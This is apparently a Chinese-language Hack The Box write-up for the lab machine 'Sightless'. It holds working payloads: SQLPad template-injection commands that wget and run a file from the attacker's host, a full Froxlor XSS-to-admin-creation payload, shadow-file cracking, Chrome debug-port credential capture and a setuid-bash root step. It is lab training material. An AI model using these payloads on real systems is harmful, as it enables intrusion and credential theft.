Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
Sightless
https://www.hackthebox.com/achievement/machine/463126/624
Recon
1 | PORT STATE SERVICE REASON VERSION |
有一個ftp,試過匿名登錄,什麽也沒有,那肯定是從80端口入手了。
Web
打開ip地址之後會自動跳轉到域名 http://sightless.htb/
,然後發現有個子域名:sqlpad.sightless.htb
Finding sqlpad vulnerability
快速的觀察了一下,看到是個 sqlpad
:
然後看了一下版本:
是個 SQLPad
和 Version: 6.10.0
,所以搜索一下:
看到是 CVE-2022-0944
,然後谷歌搜索一下這個CVE:
然後看到這個:https://www.tenable.com/cve/CVE-2022-0944
Exploit sqlpad to got shell as container
上面有一條連接,通往poc的詳細鏈接:https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb
剛好這個版本滿足與當前的那個網頁版:
然後試一下poc的内容,看起來有任意命令執行,所以使用curl探測下:
1 | {{ process.mainModule.require('child_process').exec('curl 10.10.16.39:2222/mane') }} |
使用 python3 -m http.server 2222
, 看看poc能不能工作,很可惜,沒有回連。
所以我就猜測對面的機器上沒有curl,所以試一下使用wget看看:
1 | {{ process.mainModule.require('child_process').exec('wget 10.10.16.39:2222/pwd') }} |
結果有回連,所以在這裏可以上傳一個shell:
類似這樣:
1 | {{ process.mainModule.require('child_process').exec('wget 10.10.16.39:2222/mane -O /tmp/mane ; chmod 777 /tmp/mane ; /tmp/mane ') }} |
Shell as Container
果然機器上沒有curl,還好有wget,不然就很麻煩:
然後找一下數據庫:
當前目錄下就有一個數據庫,所以下載下來看看:
有一個hash:
1 | admin@sightless.htb admin $2a$10$cjbITibC.4BQQKJ8NOBUv.p0bG2n8t.RIIKRysR6pZnxquAWsLFcC |
但是很可惜hash無法破解。
Finding Shadow file
既然hash沒有辦法破解,那麽可以放密碼的地方很少,剛好系統裏面就有一個,那就是 /etc/shadow
:
1 | root@c184118df0a6:/etc# cat shadow |
然後把所有的密碼抓下來破解:
好在 michael
成功的破解了:
1 | michael:insaneclownposse |
Shell as Host - Recon
既讓有了密碼就嘗試連接一下ssh看看:
結果成功拿到了一個shell,接下來就是找一下有沒有什麽有價值的東西了,
跑一下 Linpeas,看看有沒有什麽寶藏:
有個chrome的debug port,看起來是有些自動化的瀏覽器在運行,所以xss的可能性很大。
看了一下堅挺的端口,有一些很神奇的端口,比如8080
所以使用ssh隧道轉發一下看看:
1 | $ ssh -L 127.0.0.1:8000:127.0.0.1:8080 michael@10.129.12.149 |
注意這裏我改成了 8000
,意思是對面機器的 8080
轉發到我本地機器的 8000
端口,因爲和burp衝突了,我懶得改burp的配置,所以這樣可以方便抓包。
是個 froxlor。
Unintended Root
從上面的端口中可以看到,有一個chrome debug port,remote-debug-port
是0的情況下,意味著這是隨機分配一個debug port,所以在對面的機器上可以使用 curl 一個一個探測,可以參考:
- https://chromedevtools.github.io/devtools-protocol/
- https://developer.chrome.com/docs/devtools/remote-debugging/local-server
網址後面加上 /json
就知道是不是 chrome 的debug port,通過使用 ss -tlunp
返回的端口一個一個試探,結果:
也就是在我的機器上的 42703
端口就是debug port。
Exploit Chrome Debug Port
既然知道了這個端口是debug port,那可以順便使用ssh轉發一下到本地,然後交互需要使用谷歌瀏覽器,所以要安裝谷歌瀏覽器:
1 | $ wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb |
安裝好了之後打開:
輸入: chrome://inspect/#devices
會得到下面的頁面,
點擊 Open dedicated DevTools for Node
就可以允許增加一個新的連接:
輸入好端口之後點擊 Add
的一瞬間,就會多出下面兩個選項:
然後點擊第一個 Inspect,看到:
因爲有 chromedriver
的原因,所以可以知道這個瀏覽器是被機器人控制,等待幾秒鐘可以看到機器人在自動輸入賬號密碼,并且登錄,我們可以觀察機器人提交了什麽密碼,(這裏可以點擊 Preserve log
告訴瀏覽器日志不要自動的清空),等到一會之後,等機器人使用賬號密碼登陸了就得到了賬號密碼:
1 | loginname: admin |
Login Froxlor to change PHP restart command
然後可以嘗試使用這個賬號密碼去登錄:
結果成功的進去了後臺,觀察力一下,發現:
修改php版本的地方居然可以修改啓動命令:
那就就改成 chmod 4777 /bin/bash
:
由於這個框架是運行的普通用戶,普通用戶沒辦法更改這些敏感屬性的權限,這時候就需要用到root用戶,但問題是這個框架是如何修改敏感屬性的呢?
其實在後端有一個用root權限執行的php脚本,是使用cronjob完成的,他是用來協調這個框架的(你可以想象成每隔一段時間就問這個框架需不需要修改敏感屬性),如果需要的話就會幫忙更改(因爲這裏運行的root用戶),所以這時候就需要等待root的cronjob運行,等待使用root的php脚本幫忙應用配置文件。
一般5分鐘,保險期間可以等個10分鐘,然後:
Intended Root
感覺這裏的預期路綫出的不是很好,因爲是個正常人看到可以 修改命令任意執行 就不會去繞一圈回到user。
Exploit XSS with froxior
從一開始探測的時候可以得到,有個john的用戶在使用自動化來交互瀏覽器,所以猜測有xss,然後就去谷歌搜一下:
結果看到了這篇:https://github.com/froxlor/Froxlor/security/advisories/GHSA-x525-54hf-xr53
然後根據這篇文章試一下xss是不是存在,看起來他的 payload.txt
長這樣:
另外,poc這裏的密碼是 Abcd@@1234
,而 github 上的 poc密碼寫錯了,如上上圖所示,不是 abcd@@1234
。
poc上面有域名,不過可以去掉域名,因爲都在同一個頁面上運行的,
所以 http://xxxx.sightless.htb:8080/admin_admins.php
可以換成 /admin_admins.php
,這樣就不需要考慮域名的問題,
最後修改POC如下:
1 | admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}} |
然後根據github上的poc:
發送后等待一段時間,使用: abcd:Abcd@@1234
即可登錄後臺:
Change FTP password
看到是個管理員的權限,裏面有一個網站是 web1
點擊進去之後可以修改ftp的密碼:
嘗試改掉這個ftp的密碼:
那就使用默認的密碼吧:
1 | web1 : fxwvupWgAe |
Find a way to login FTP
修改成功了之後沒有辦法登陸成功:
看起來是證書出了問題,網上找了一下之後決定問一下chatgpt:
他告訴我下載一個 lftp
的軟件,然後:
1 | $ lftp -u web1,fxwvupWgAe ftp://sightless.htb |
結果還真的登錄了進去,發現裏面有一個 Database.kdb
。
Database.kdb to root key
下載下來之後,是個 keepass
的數據庫,因爲沒有master password,所以嘗試使用 john 破解下:
1 | $ keepass2john Database.kdb > hashes.txt |
得到了一個密碼: bulldogs
嘗試解密,發現數據庫太老了,需要新建一個新版本的數據庫之後導入:
所以新建一個數據庫:
新建完成之後點擊導入:
然後這裏可以選擇老一個版本的數據庫:
導入之後,然後得到id_rsa:
但是直接使用這個 id_rsa
之後會出現錯誤:
1 | $ ssh -i id_rsa root@10.129.12.149 |
對比了一下,是個windows格式,因爲linux不支持,
在 16 進制(hexadecimal)中,
\n
和\r
是用來表示控制字符的。
-
\n
是「換行」(newline)的控制字符,在 ASCII 表中對應的是 10 進制的 10,16 進制的 0A。-
\r
是「回車」(carriage return)的控制字符,在 ASCII 表中對應的是 10 進制的 13,16 進制的 0D。這兩個字符經常一起使用,特別是在一些舊系統或協議中,比如 Windows 中的換行是由
\r\n
組合來表示。
如果想要把windows的 0d0a
轉換成 0a
,可以使用 dos2unix
這個工具:
1 | $ dos2unix id_rsa |
轉換後還是無法登錄,需要加一行回車才可以:
1 | $ echo '\n' >> id_rsa |
這樣就得到了root。
Hashes
1 | bash-5.1# cat /etc/shadow |
Thanks
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)